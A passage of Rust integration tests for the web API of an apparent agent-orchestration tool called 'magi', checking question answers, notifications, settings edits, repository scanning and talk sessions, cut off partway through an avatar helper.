        let answered_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
        let mut answered = store.get(&answered_id).expect("get");
        answered
            .answer(Answer::Choice("SQLite".to_owned()))
            .expect("answer");
        store.put(&mut answered).expect("put");
        let res = fx
            .post(
                &format!("/api/questions/{answered_id}/say"),
                Some(r#"{"body":"still there?"}"#),
            )
            .await;
        assert_eq!(res.status, 409, "{}", res.body);

        let abandoned_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
        let mut abandoned = store.get(&abandoned_id).expect("get");
        abandoned.abandon("timed out");
        store.put(&mut abandoned).expect("put");
        let res = fx
            .post(
                &format!("/api/questions/{abandoned_id}/say"),
                Some(r#"{"body":"still there?"}"#),
            )
            .await;
        assert_eq!(res.status, 409, "{}", res.body);
    }

    #[tokio::test]
    async fn an_answer_the_question_does_not_offer_is_refused() {
        let fx = Fixture::start().await;
        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
        let path = format!("/api/questions/{id}/answer");

        for body in [
            r#"{"choice":"Postgres"}"#,
            r#"{"text":"whatever you think"}"#,
            r#"{"choice":"Redis","text":"both"}"#,
            r#"{}"#,
        ] {
            let res = fx.post(&path, Some(body)).await;
            assert_eq!(res.status, 400, "{body} should be refused: {}", res.body);
            assert!(res.json()["error"].is_string(), "{}", res.body);
        }
        // Nothing above may have answered it.
        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
    }

    #[tokio::test]
    async fn a_free_text_question_takes_text_and_not_a_choice() {
        let fx = Fixture::start().await;
        let id = ask(&fx, "What should the flag be called?", &[]);
        let path = format!("/api/questions/{id}/answer");

        assert_eq!(
            fx.post(&path, Some(r#"{"choice":"--json"}"#)).await.status,
            400
        );
        let res = fx.post(&path, Some(r#"{"text":"--json"}"#)).await;
        assert_eq!(res.status, 200, "{}", res.body);
        assert_eq!(res.json()["answer"]["text"], "--json");
    }

    #[tokio::test]
    async fn an_unknown_question_is_a_json_404() {
        let fx = Fixture::start().await;
        let res = fx
            .post("/api/questions/nope/answer", Some(r#"{"text":"x"}"#))
            .await;
        assert_eq!(res.status, 404, "{}", res.body);
        assert!(res.json()["error"].is_string());
    }

    #[tokio::test]
    async fn notifications_list_read_dismiss_and_health_agree() {
        let fx = Fixture::start().await;
        let store = Notices::at(fx.home.path().join("notifications"));
        assert_eq!(fx.get("/api/notifications").await.json()["unread"], 0);
        let rev0 = fx.get("/api/health").await.json()["notifications_rev"].clone();

        let a = store.raise(Notice::warn("task:1", "held")).unwrap();
        let b = store.raise(Notice::error("run:2", "blocked")).unwrap();

        store
            .raise(Notice::warn("deputy:deleted-question", "obsolete warning"))
            .unwrap();
        let health = fx.get("/api/health").await.json();
        assert_eq!(health["notifications_unread"], 2);
        assert_ne!(
            health["notifications_rev"], rev0,
            "the badge must move live"
        );

        let listed = fx.get("/api/notifications").await.json();
        assert_eq!(listed["unread"], 2);
        assert_eq!(listed["items"].as_array().unwrap().len(), 2);
        assert_eq!(listed["items"][0]["severity"], "error", "newest first");

        let read = fx
            .post(&format!("/api/notifications/{}/read", a.id), None)
            .await;
        assert_eq!(read.status, 200, "{}", read.body);
        assert_eq!(fx.get("/api/notifications").await.json()["unread"], 1);

        let gone = fx
            .post(&format!("/api/notifications/{}/dismiss", b.id), None)
            .await;
        assert_eq!(gone.status, 200, "{}", gone.body);
        let listed = fx.get("/api/notifications").await.json();
        assert_eq!(listed["items"].as_array().unwrap().len(), 1);
        assert_eq!(listed["unread"], 0);

        store.raise(Notice::info("x", "again")).unwrap();
        let all = fx.post("/api/notifications/read-all", None).await;
        assert_eq!(all.status, 200, "{}", all.body);
        assert_eq!(all.json()["marked"], 1);
        assert_eq!(
            fx.get("/api/health").await.json()["notifications_unread"],
            0
        );

        let missing = fx.post("/api/notifications/nope/read", None).await;
        assert_eq!(missing.status, 404, "{}", missing.body);
        assert!(missing.json()["error"].is_string());
    }

    /// New work reaches the queue through `magi task add`, a standing talk's
    /// `magi task add --solo`, or the CLI - never a raw `POST /api/queue` -
    /// so the compose form and that route are gone. The tests that covered
    /// that route's validation went with it, and nothing was left asserting
    /// it stays gone — so a re-added handler would silently let the phone
    /// file briefs no one validated.
    #[tokio::test]
    async fn a_task_cannot_be_filed_over_the_phone_directly() {
        let f = Fixture::start().await;

        let res = f
            .post(
                "/api/queue",
                Some(r#"{"instruction":"Add a --json flag to magi list"}"#),
            )
            .await;

        assert_eq!(
            res.status, 405,
            "POST /api/queue must not be a route: {}",
            res.body
        );
        assert!(
            f.queue().list().is_empty(),
            "a task filed by a route that does not exist must not reach the disk"
        );
        // The path itself is still served — the Queue view reads it — and the
        // per-task controls are untouched by the entry being removed.
        assert_eq!(f.get("/api/queue").await.status, 200);
    }

    /// `<repo>/host/owner/repo/.git`, the ghq layout [`repos::scan`] expects.
    fn make_checkout(root: &FsPath, host: &str, owner: &str, repo: &str) {
        std::fs::create_dir_all(root.join(host).join(owner).join(repo).join(".git"))
            .expect("checkout dir");
    }

    /// Two command agents, so a config needs no real CLI.
    const SETTINGS_AGENTS: &str = "[[agents]]\nid = \"a\"\nkind = \"command\"\ncommand = [\"true\"]\n\n[[agents]]\nid = \"b\"\nkind = \"command\"\ncommand = [\"true\"]\n";

    fn settings_dirs(repo_toml: &str, machine_toml: Option<&str>) -> (TempDir, PathBuf, PathBuf) {
        let tmp = TempDir::new().expect("tempdir");
        let repo = tmp.path().join("repo");
        std::fs::create_dir_all(&repo).expect("repo dir");
        std::fs::write(repo.join("magi.toml"), repo_toml).expect("repo toml");
        let machine = tmp.path().join("cfg").join("magi").join("config.toml");
        if let Some(text) = machine_toml {
            std::fs::create_dir_all(machine.parent().expect("parent")).expect("cfg dir");
            std::fs::write(&machine, text).expect("machine toml");
        }
        (tmp, repo, machine)
    }

    async fn settings_checkout(path: &FsPath, text: &str) {
        std::fs::create_dir_all(path).unwrap();
        std::fs::write(path.join("magi.toml"), text).unwrap();
        for args in [
            vec!["init", "-b", "main"],
            vec!["add", "magi.toml"],
            vec![
                "-c",
                "user.name=Test",
                "-c",
                "user.email=test@example.invalid",
                "commit",
                "-m",
                "fixture",
            ],
            vec!["update-ref", "refs/remotes/origin/main", "HEAD"],
            vec![
                "symbolic-ref",
                "refs/remotes/origin/HEAD",
                "refs/remotes/origin/main",
            ],
        ] {
            crate::git::git(path, &args).await.unwrap();
        }
    }

    #[tokio::test]
    async fn settings_context_handlers_validate_and_save_without_a_socket() {
        let (tmp, repo, machine) =
            settings_dirs("[roles]\nreviewers = [\"a\"]\n", Some(SETTINGS_AGENTS));
        let root = tmp.path().join("roots");
        let selected = root.join("host/owner/selected");
        settings_checkout(
            &selected,
            "[roles]\nconductor = \"b\"\n[graph]\njudges = 2\n",
        )
        .await;
        std::fs::write(&machine, format!("{SETTINGS_AGENTS}\n[roles]\nconductor = \"a\"\n[graph]\njudges = 1\n[repos]\nroots = [{}]\nscan_ttl = 3600\n", toml::Value::String(root.display().to_string()))).unwrap();
        let before = std::fs::read(&machine).unwrap();
        let ui = Arc::new(
            Ui::new(
                Queue::at(tmp.path().join("queue")),
                Questions::at(tmp.path().join("questions")),
                Talks::at(tmp.path().join("talks")),
                tmp.path().join("runs"),
                tmp.path().to_path_buf(),
                repo.clone(),
            )
            .with_machine_config(Some(machine.clone())),
        );
        let query = || {
            Query(SettingsQuery {
                repo: Some(selected.clone()),
            })
        };
        let Json(v) = settings_get(State(ui.clone()), query()).await.unwrap();
        assert!(v.error.is_none(), "{:?}", v.error);
        let conductor = v.roles.iter().find(|r| r.key == "conductor").unwrap();
        assert_eq!(conductor.source, "repo");
        assert_eq!(
            conductor.machine_value,
            Some(toml::Value::String("a".into()))
        );
        assert!(!conductor.editable);
        let judges = v.roles.iter().find(|r| r.key == "judges").unwrap();
        assert_eq!(
            judges.count.as_ref().unwrap().machine_value,
            Some(toml::Value::Integer(1))
        );
        assert!(
            !v.roles
                .iter()
                .find(|r| r.key == "reviewers")
                .unwrap()
                .editable
        );
        let unknown = || {
            Query(SettingsQuery {
                repo: Some(tmp.path().to_path_buf()),
            })
        };
        assert_eq!(
            settings_get(State(ui.clone()), unknown())
                .await
                .unwrap_err()
                .status,
            StatusCode::UNPROCESSABLE_ENTITY
        );
        let body = || {
            Ok(Json(RolesBody {
                revision: v.revision.clone(),
                roles: std::collections::BTreeMap::from([("judges".into(), vec!["b".into()])]),
                counts: Default::default(),
            }))
        };
        assert_eq!(
            settings_put_roles(State(ui.clone()), unknown(), body())
                .await
                .unwrap_err()
                .status,
            StatusCode::UNPROCESSABLE_ENTITY
        );
        assert_eq!(std::fs::read(&machine).unwrap(), before);
        let Json(saved) = settings_put_roles(State(ui.clone()), query(), body())
            .await
            .unwrap();
        assert_eq!(
            saved.repo,
            selected.canonicalize().unwrap().display().to_string()
        );
        assert!(settings::repository_config(&repo, Some(&machine)).is_ok());
        assert!(settings::repository_config(&selected, Some(&machine)).is_ok());
        // A cache miss refreshes the stable candidate list exactly for validation.
        let fresh = root.join("host/owner/fresh");
        settings_checkout(&fresh, "[graph]\nadvisors = 0\n").await;
        let Json(fresh_view) = settings_get(State(ui), Query(SettingsQuery { repo: Some(fresh) }))
            .await
            .unwrap();
        assert_eq!(fresh_view.repositories.len(), 3);
    }

    #[tokio::test]
    async fn settings_context_selector_validates_paths_and_preserves_all_checkouts() {
        let (tmp, repo, machine) = settings_dirs(
            "[roles]\nreviewers = [\"a\"]\n",
            Some(&format!("{SETTINGS_AGENTS}\n[graph]\njudges = 1\n")),
        );
        let root = tmp.path().join("roots");
        let selected = root.join("host/owner/selected");
        settings_checkout(
            &selected,
            "[roles]\nadvisors = [\"b\"]\n[graph]\njudges = 2\n",
        )
        .await;
        let broken = root.join("host/owner/broken");
        settings_checkout(&broken, "[roles\nbroken").await;
        let machine_text = format!(
            "{SETTINGS_AGENTS}\n[graph]\njudges = 1\n[repos]\nroots = [{}]\n",
            toml::Value::String(root.display().to_string())
        );
        std::fs::write(&machine, &machine_text).unwrap();
        let originals: Vec<_> = [&repo, &selected, &broken]
            .iter()
            .map(|p| std::fs::read(p.join("magi.toml")).unwrap())
            .collect();
        let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
        let default = f.get("/api/settings").await.json();
        assert_eq!(
            default["repo"],
            repo.canonicalize().unwrap().display().to_string()
        );
        assert_eq!(default["repositories"].as_array().unwrap().len(), 3);
        let query = format!("?repo={}", selected.display());
        let res = f.get(&format!("/api/settings{query}")).await;
        assert_eq!(res.status, 200, "{}", res.body);
        let v = res.json();
        assert!(v["error"].is_null(), "{v}");
        assert_eq!(v["repositories"], default["repositories"]);
        let role = |key: &str| {
            v["roles"]
                .as_array()
                .unwrap()
                .iter()
                .find(|r| r["key"] == key)
                .unwrap()
        };
        assert_eq!(role("advisors")["configured"], serde_json::json!(["b"]));
        assert_eq!(role("advisors")["source"], "repo");
        assert_eq!(role("advisors")["editable"], false);
        assert!(role("advisors")["machine_value"].is_null());
        assert_eq!(role("judges")["count"]["value"], 2);
        assert_eq!(role("judges")["count"]["machine_value"], 1);
        assert_eq!(role("judges")["count"]["source"], "repo");
        let source = role("judges")["count"]["source_path"].as_str().unwrap();
        assert!(
            source.contains("origin/main") && !source.contains("magi/config/"),
            "{source}"
        );
        assert_eq!(
            role("reviewers")["editable"],
            false,
            "default context outside roots must protect its declarations"
        );
        let body =
            serde_json::json!({"revision": v["revision"], "roles": {"judges": ["b"]}}).to_string();
        let unknown = format!("?repo={}", tmp.path().display());
        assert_eq!(f.get(&format!("/api/settings{unknown}")).await.status, 422);
        assert_eq!(
            f.put(&format!("/api/settings/roles{unknown}"), &body)
                .await
                .status,
            422
        );
        assert_eq!(std::fs::read_to_string(&machine).unwrap(), machine_text);
        let refuse = serde_json::json!({"revision": v["revision"], "roles": {"reviewers": ["b"]}})
            .to_string();
        assert_eq!(
            f.put(&format!("/api/settings/roles{query}"), &refuse)
                .await
                .status,
            422
        );
        let saved = f.put(&format!("/api/settings/roles{query}"), &body).await;
        assert_eq!(saved.status, 200, "{}", saved.body);
        assert_eq!(saved.json()["repo"], v["repo"]);
        assert!(settings::repository_config(&repo, Some(&machine)).is_ok());
        assert!(settings::repository_config(&selected, Some(&machine)).is_ok());
        for (p, before) in [&repo, &selected, &broken].iter().zip(originals) {
            assert_eq!(std::fs::read(p.join("magi.toml")).unwrap(), before);
        }
        let error = f
            .get(&format!("/api/settings?repo={}", broken.display()))
            .await;
        assert_eq!(error.status, 200);
        assert!(error.json()["error"]["message"].is_string());
        assert_eq!(error.json()["repositories"], default["repositories"]);
    }

    #[tokio::test]
    async fn settings_get_reports_sources_and_the_advisors_fallback() {
        let (_tmp, repo, machine) =
            settings_dirs(SETTINGS_AGENTS, Some("[roles]\njudges = [\"b\"]\n"));
        let f = Fixture::with_repo_and_machine(repo, machine).await;
        let res = f.get("/api/settings").await;
        assert_eq!(res.status, 200, "{}", res.body);
        let v = res.json();
        assert!(v["error"].is_null(), "{v}");
        let role = |k: &str| {
            v["roles"]
                .as_array()
                .and_then(|r| r.iter().find(|x| x["key"] == k))
                .cloned()
                .unwrap_or_else(|| panic!("no role {k}: {v}"))
        };
        assert_eq!(role("judges")["source"], "machine");
        assert_eq!(role("judges")["editable"], true);
        assert_eq!(role("implementers")["source"], "default");
        let adv = role("advisors");
        assert_eq!(adv["fallback"], "judges");
        assert!(
            adv["seats"]
                .as_array()
                .is_some_and(|s| s.iter().all(|x| x == "b")),
            "{adv}"
        );
        assert_eq!(v["agents"].as_array().map(Vec::len), Some(2));
        assert_eq!(v["agents"][0]["source"], "repo");
    }

    #[tokio::test]
    async fn settings_get_reports_a_config_that_does_not_parse() {
        let (_tmp, repo, machine) = settings_dirs("[roles\nbroken", None);
        let f = Fixture::with_repo_and_machine(repo, machine).await;
        let res = f.get("/api/settings").await;
        assert_eq!(res.status, 200, "{}", res.body);
        let v = res.json();
        assert!(v["error"]["message"].is_string(), "{v}");
        assert!(
            v["error"]["path"]
                .as_str()
                .is_some_and(|p| p.ends_with("magi.toml")),
            "{v}"
        );
        assert_eq!(v["roles"].as_array().map(Vec::len), Some(0));
    }

    #[tokio::test]
    async fn settings_put_saves_to_the_machine_file_and_keeps_comments() {
        let (_tmp, repo, machine) = settings_dirs(
            SETTINGS_AGENTS,
            Some("# mine\n[roles]\n# seats\njudges = [\"a\"]  # note\n\n[vars]\nx = 1\n"),
        );
        let repo_before = std::fs::read(repo.join("magi.toml")).expect("read");
        let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
        let rev = f.get("/api/settings").await.json()["revision"]
            .as_str()
            .expect("revision")
            .to_owned();
        let body = serde_json::json!({
            "revision": rev,
            "roles": { "judges": ["b", "a"], "reviewers": ["a"] }
        })
        .to_string();
        let res = f.put("/api/settings/roles", &body).await;
        assert_eq!(res.status, 200, "{}", res.body);
        let text = std::fs::read_to_string(&machine).expect("machine");
        assert_eq!(
            text,
            "# mine\n[roles]\n# seats\njudges = [\"b\", \"a\"]  # note\nreviewers = [\"a\"]\n\n[vars]\nx = 1\n"
        );
        assert_eq!(
            std::fs::read(repo.join("magi.toml")).expect("read"),
            repo_before
        );
        let again = f.get("/api/settings").await.json();
        let judges = again["roles"]
            .as_array()
            .expect("roles")
            .iter()
            .find(|r| r["key"] == "judges")
            .expect("judges")
            .clone();
        assert_eq!(judges["configured"], serde_json::json!(["b", "a"]));
        // The old revision is now stale.
        let stale = f.put("/api/settings/roles", &body).await;
        assert_eq!(stale.status, 409, "{}", stale.body);
    }

    #[tokio::test]
    async fn settings_counts_are_reported_and_saved() {
        let (_tmp, repo, machine) = settings_dirs(
            &format!("{SETTINGS_AGENTS}\n[graph]\nreviewers = 2\n"),
            Some("# mine\n[graph]\ncandidates = 2 # seats\n"),
        );
        let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
        let v = f.get("/api/settings").await.json();
        let count = |v: &serde_json::Value, k: &str| {
            v["roles"]
                .as_array()
                .and_then(|r| r.iter().find(|x| x["key"] == k))
                .map(|x| x["count"].clone())
                .unwrap_or_else(|| panic!("no role {k}: {v}"))
        };
        let imp = count(&v, "implementers");
        assert_eq!(imp["value"], 2);
        assert_eq!(imp["source"], "machine");
        assert_eq!(imp["file_key"], "candidates");
        assert_eq!(imp["roster_len"], 2);
        assert_eq!(imp["backups"], 0);
        assert_eq!(count(&v, "judges")["source"], "default");
        assert_eq!(count(&v, "advisors")["min"], 0);
        assert_eq!(count(&v, "reviewers")["editable"], false);
        assert!(
            count(&v, "reviewers")["locked_reason"]
                .as_str()
                .is_some_and(|m| m.contains("graph.reviewers"))
        );
        assert!(count(&v, "fixer").is_null());
        let rev = v["revision"].as_str().expect("revision").to_owned();
        let body = serde_json::json!({
            "revision": rev,
            "roles": { "judges": ["b"] },
            "counts": { "implementers": 1, "advisors": 0 }
        })
        .to_string();
        let res = f.put("/api/settings/roles", &body).await;
        assert_eq!(res.status, 200, "{}", res.body);
        let text = std::fs::read_to_string(&machine).expect("machine");
        assert_eq!(
            text,
            "# mine\n[graph]\ncandidates = 1 # seats\nadvisors = 0\n\n[roles]\njudges = [\"b\"]\n"
        );
        let after = f.get("/api/settings").await.json();
        assert_eq!(count(&after, "implementers")["value"], 1);
        assert_eq!(count(&after, "implementers")["backups"], 1);
        assert_eq!(count(&after, "advisors")["value"], 0);
        let before = std::fs::read_to_string(&machine).expect("machine");
        let rev = after["revision"].as_str().expect("revision").to_owned();
        for counts in [
            serde_json::json!({ "judges": 0 }),
            serde_json::json!({ "judges": "x" }),
            serde_json::json!({ "judges": 2.5 }),
            serde_json::json!({ "judges": -1 }),
            serde_json::json!({ "reviewers": 3 }),
            serde_json::json!({ "bogus": 3 }),
        ] {
            let body = serde_json::json!({ "revision": rev, "counts": counts }).to_string();
            let res = f.put("/api/settings/roles", &body).await;
            assert_eq!(res.status, 422, "{counts}: {}", res.body);
            assert_eq!(std::fs::read_to_string(&machine).expect("machine"), before);
        }
    }

    #[tokio::test]
    async fn settings_put_refuses_without_touching_the_file() {
        let machine_text = "# mine\n[roles]\njudges = [\"a\"]\n";
        let (_tmp, repo, machine) = settings_dirs(
            &format!("{SETTINGS_AGENTS}\n[roles]\nreviewers = [\"a\"]\n"),
            Some(machine_text),
        );
        let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
        let rev = f.get("/api/settings").await.json()["revision"]
            .as_str()
            .expect("revision")
            .to_owned();
        for roles in [
            serde_json::json!({ "judges": ["nope"] }),
            serde_json::json!({ "reviewers": ["b"] }),
            serde_json::json!({ "bogus": ["a"] }),
        ] {
            let body = serde_json::json!({ "revision": rev, "roles": roles }).to_string();
            let res = f.put("/api/settings/roles", &body).await;
            assert_eq!(res.status, 422, "{roles}: {}", res.body);
            assert!(res.json()["error"].as_str().is_some_and(|m| !m.is_empty()));
            assert_eq!(
                std::fs::read_to_string(&machine).expect("machine"),
                machine_text
            );
        }
    }

    #[tokio::test]
    async fn repos_list_returns_name_and_path_for_every_configured_root() {
        let tmp = TempDir::new().expect("tempdir");
        let repo = tmp.path().join("repo");
        std::fs::create_dir_all(&repo).expect("repo dir");
        let root = tmp.path().join("root");
        make_checkout(&root, "github.com", "yukimemi", "magi");
        std::fs::write(
            repo.join("magi.toml"),
            format!(
                "[repos]\nroots = [{:?}]\n",
                root.to_string_lossy().into_owned()
            ),
        )
        .expect("write magi.toml");

        let f = Fixture::with_repo(repo).await;
        let res = f.get("/api/repos").await;
        assert_eq!(res.status, 200, "{}", res.body);
        let list = res.json();
        let repos = list.as_array().expect("an array");
        assert_eq!(repos.len(), 1);
        assert_eq!(repos[0]["name"], "yukimemi/magi");
        assert!(
            repos[0]["path"]
                .as_str()
                .is_some_and(|p| p.ends_with("magi") || p.contains("magi")),
            "{list}"
        );
    }

    #[tokio::test]
    async fn repos_list_only_rescans_within_the_ttl_when_asked_to() {
        let tmp = TempDir::new().expect("tempdir");
        let repo = tmp.path().join("repo");
        std::fs::create_dir_all(&repo).expect("repo dir");
        let root = tmp.path().join("root");
        make_checkout(&root, "github.com", "yukimemi", "magi");
        std::fs::write(
            repo.join("magi.toml"),
            format!(
                "[repos]\nroots = [{:?}]\nscan_ttl = 3600\n",
                root.to_string_lossy().into_owned()
            ),
        )
        .expect("write magi.toml");

        let f = Fixture::with_repo(repo).await;
        let first = f.get("/api/repos").await;
        assert_eq!(first.json().as_array().map(Vec::len), Some(1));

        // A second checkout appears; within the TTL the cached answer must
        // not notice it.
        make_checkout(&root, "github.com", "yukimemi", "rvpm");
        let second = f.get("/api/repos").await;
        assert_eq!(
            second.json().as_array().map(Vec::len),
            Some(1),
            "a fresh cache must not rescan inside the TTL"
        );

        let refreshed = f.get("/api/repos?refresh=1").await;
        assert_eq!(
            refreshed.json().as_array().map(Vec::len),
            Some(2),
            "an explicit refresh must rescan even inside the TTL"
        );
    }

    /// A `kind = "command"` agent that ignores its prompt and answers a fixed
    /// string, declared straight in a repository's own `magi.toml` rather
    /// than the operator's real roster. No real agent CLI is spawned - `sh`
    /// is the interpreter, the same as `talk::tests::mock_agent` uses - so
    /// this is safe to run over a real HTTP round trip.
    const MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && printf ok\"]\n";

    /// A repo carrying `MOCK_AGENT_TOML`, for the talk routes that need a
    /// real `Config::discover` to find an agent - `talk::begin` resolves one
    /// even though it takes no turn, and `talk_say` invokes one.
    async fn talk_fixture() -> (TempDir, PathBuf, Fixture) {
        let tmp = TempDir::new().expect("tempdir");
        let repo = tmp.path().join("repo");
        std::fs::create_dir_all(&repo).expect("repo dir");
        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
        let f = Fixture::with_repo(repo.clone()).await;
        (tmp, repo, f)
    }

    #[tokio::test]
    async fn posting_a_talk_with_remembered_choices_is_soft() {
        let (_tmp, _repo, f) = talk_fixture().await;

        let good = f
            .post("/api/talks", Some(r#"{"persona":"rei","implementers":1}"#))
            .await;
        assert_eq!(good.status, 201, "{}", good.body);
        assert_eq!(good.json()["persona"], "rei");

        // Wrong values and wrong types are dropped one by one, never a 4xx.
        let stale = f
            .post(
                "/api/talks",
                Some(r#"{"preferred_agent":"gone","persona":"nobody","implementers":7}"#),
            )
            .await;
        assert_eq!(stale.status, 201, "{}", stale.body);
        let v = stale.json();
        assert_eq!(v["implementers"], 1);
        assert_ne!(v["persona"], "nobody");
        let typed = f
            .post(
                "/api/talks",
                Some(r#"{"preferred_agent":3,"persona":[],"implementers":"x"}"#),
            )
            .await;
        assert_eq!(typed.status, 201, "{}", typed.body);

        // The strict `agent` field still refuses an unknown id.
        let strict = f.post("/api/talks", Some(r#"{"agent":"gone"}"#)).await;
        assert!(
            !strict.status.to_string().starts_with('2'),
            "{}",
            strict.body
        );
    }

    #[tokio::test]
    async fn posting_a_talk_with_no_body_opens_one_and_takes_no_turn() {
        let (_tmp, _repo, f) = talk_fixture().await;

        // No body at all - `f.post(.., None)` sends no `Content-Type` either -
        // is the ordinary way a phone opens a talk.
        let opened = f.post("/api/talks", None).await;
        assert_eq!(opened.status, 201, "{}", opened.body);
        let body = opened.json();
        assert_eq!(body["status"], "open");
        assert_eq!(
            body["turns"].as_array().unwrap().len(),
            0,
            "opening takes no agent turn: there is nothing yet to answer"
        );

        // An explicit empty object is the same request as none at all.
        let also_opened = f.post("/api/talks", Some("{}")).await;
        assert_eq!(also_opened.status, 201, "{}", also_opened.body);

        let listed = f.get("/api/talks").await.json();
        assert_eq!(listed.as_array().unwrap().len(), 2);
    }

    #[tokio::test]
    async fn talk_agent_switches_the_roster_agent_and_refuses_unknown_busy_or_closed() {
        let tmp = TempDir::new().expect("tempdir");
        let repo = tmp.path().join("repo");
        std::fs::create_dir_all(&repo).expect("repo dir");
        let second = MOCK_AGENT_TOML.replace("\"mock\"", "\"second\"");
        std::fs::write(
            repo.join("magi.toml"),
            format!("{MOCK_AGENT_TOML}\n{second}"),
        )
        .expect("write magi.toml");
        let home = TempDir::new().expect("temp home");
        let talks = Talks::at(home.path().join("talks"));
        let ui = Arc::new(
            Ui::new(
                Queue::at(home.path().join("queue")),
                Questions::at(home.path().join("questions")),
                talks.clone(),
                home.path().join("runs"),
                home.path().to_path_buf(),
                repo.clone(),
            )
            .with_worktrees_root(home.path().join("wt")),
        );
        let cfg = config_for(&repo).await.expect("discover config");
        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
        let id = talk.id.clone();
        let call = |agent: &str| {
            talk_agent(
                State(Arc::clone(&ui)),
                Path(id.clone()),
                Json(TalkAgent {
                    agent: agent.to_owned(),
                }),
            )
        };

        let unknown = call("nobody").await.expect_err("unknown agent");
        assert_eq!(
            unknown.status,
            StatusCode::BAD_REQUEST,
            "{}",
            unknown.message
        );

        {
            // Nothing refused so far took a claim, so the guard is free to take
            // and holding it is what makes the talk busy.
            let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
            let busy = call("second").await.expect_err("busy talk");
            assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
            assert!(
                busy.message.contains("a talk turn is running"),
                "{}",
                busy.message
            );
            drop(guard);
        }
        assert_eq!(talks.get(&id).expect("reload").agent, "mock");

        let Json(view) = call("second").await.expect("switch");
        assert_eq!(view.talk.agent, "second");
        assert_eq!(view.talk.turns.len(), 1, "the change is noted");
        let saved = talks.get(&id).expect("reload");
        assert_eq!(saved.agent, "second");
        assert_eq!(saved.turns.len(), 1);
        assert!(!view.thinking);
        assert!(!ui.is_thinking(&id), "idle response must release the claim");
        for agent in ["mock", "second"] {
            let Json(view) = call(agent).await.expect("immediate consecutive change");
            assert_eq!(view.talk.agent, agent);
            assert!(!view.thinking);
            assert!(!ui.is_thinking(&id));
        }

        let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
            .await
            .expect("detail");
        let roster: Vec<&str> = detail.0.roster.iter().map(|r| r.id.as_str()).collect();
        assert_eq!(roster, ["mock", "second"]);

        let mut closed = talks.get(&id).expect("reload");
        talk::close(&mut closed, &talks).expect("close");
        let refused = call("mock").await.expect_err("closed talk");
        assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
        assert!(
            refused.message.contains("takes no more turns"),
            "{}",
            refused.message
        );
    }

    #[tokio::test]
    async fn talk_implementers_validates_and_refuses_busy_or_closed() {
        let tmp = TempDir::new().expect("tempdir");
        let repo = tmp.path().join("repo");
        std::fs::create_dir_all(&repo).expect("repo dir");
        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
        let home = TempDir::new().expect("temp home");
        let talks = Talks::at(home.path().join("talks"));
        let ui = Arc::new(
            Ui::new(
                Queue::at(home.path().join("queue")),
                Questions::at(home.path().join("questions")),
                talks.clone(),
                home.path().join("runs"),
                home.path().to_path_buf(),
                repo.clone(),
            )
            .with_worktrees_root(home.path().join("wt")),
        );
        let cfg = config_for(&repo).await.expect("discover config");
        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
        let id = talk.id.clone();
        let call = |n: u8| {
            talk_implementers(
                State(Arc::clone(&ui)),
                Path(id.clone()),
                Json(TalkImplementers { implementers: n }),
            )
        };

        for bad in [0u8, 4] {
            let e = call(bad).await.expect_err("out of range");
            assert_eq!(e.status, StatusCode::BAD_REQUEST, "{}", e.message);
        }
        assert_eq!(talks.get(&id).expect("reload").implementers, 1);

        {
            // Nothing refused so far took a claim, so the guard is free to take
            // and holding it is what makes the talk busy.
            let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
            let busy = call(2).await.expect_err("busy talk");
            assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
            assert!(
                busy.message.contains("a talk turn is running"),
                "{}",
                busy.message
            );
            drop(guard);
        }

        let Json(view) = call(3).await.expect("switch");
        assert_eq!(view.talk.implementers, 3);
        assert!(talks.get(&id).expect("reload").implementers_dirty);
        assert!(!view.thinking);
        assert!(!ui.is_thinking(&id), "idle response must release the claim");
        for n in [1, 2, 3] {
            let Json(view) = call(n).await.expect("immediate consecutive change");
            assert_eq!(view.talk.implementers, n);
            assert!(!view.thinking);
            assert!(!ui.is_thinking(&id));
        }

        let mut closed = talks.get(&id).expect("reload");
        talk::close(&mut closed, &talks).expect("close");
        let e = call(2).await.expect_err("closed talk");
        assert_eq!(e.status, StatusCode::CONFLICT, "{}", e.message);
        assert!(e.message.contains("takes no more turns"), "{}", e.message);
    }

    /// A repo with `extra` appended to the mock agent's config, and a talk in it.
    async fn avatar_fixture(extra: &str) -> (TempDir, TempDir, Arc<Ui>, String, PathBuf) {
        let tmp = TempDir::new().expect("tempdir");
        let repo = tmp.path().join("repo");
        std::fs::create_dir_all(&repo).expect("repo dir");
        std::fs::write(
            repo.join("magi.toml"),
            format!("{MOCK_AGENT_TOML}\n{extra}"),
        )
        .expect("write magi.toml");
        let home = TempDir::new().expect("temp home");
        let talks = Talks::at(home.path().join("talks"));
        let ui = Arc::new(
            Ui::new(
                Queue::at(home.path().join("queue")),
                Questions::at(home.path().join("questions")),
                talks.clone(),
                home.path().join("runs"),
                home.path().to_path_buf(),
                repo.clone(),
            )
            .with_worktrees_root(home.path().join("wt")),
        );
        let cfg = config_for(&repo).await.expect("discover config");
        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
        (tmp, home, ui, talk.id, repo)
    }

    /// `(status, content-type, nosniff, csp, body)` of one avatar request.
    async fn avatar(
        ui: &Arc<Ui>,
        id: &str,
        persona: Option<&str>,
        builtin: bool,
    ) -> (StatusCode, String, bool, bool, Vec<u8>) {
        let res = talk_avatar(
            State(Arc::clone(ui)),
            Path(id.to_owned()),
            Query(AvatarQuery {
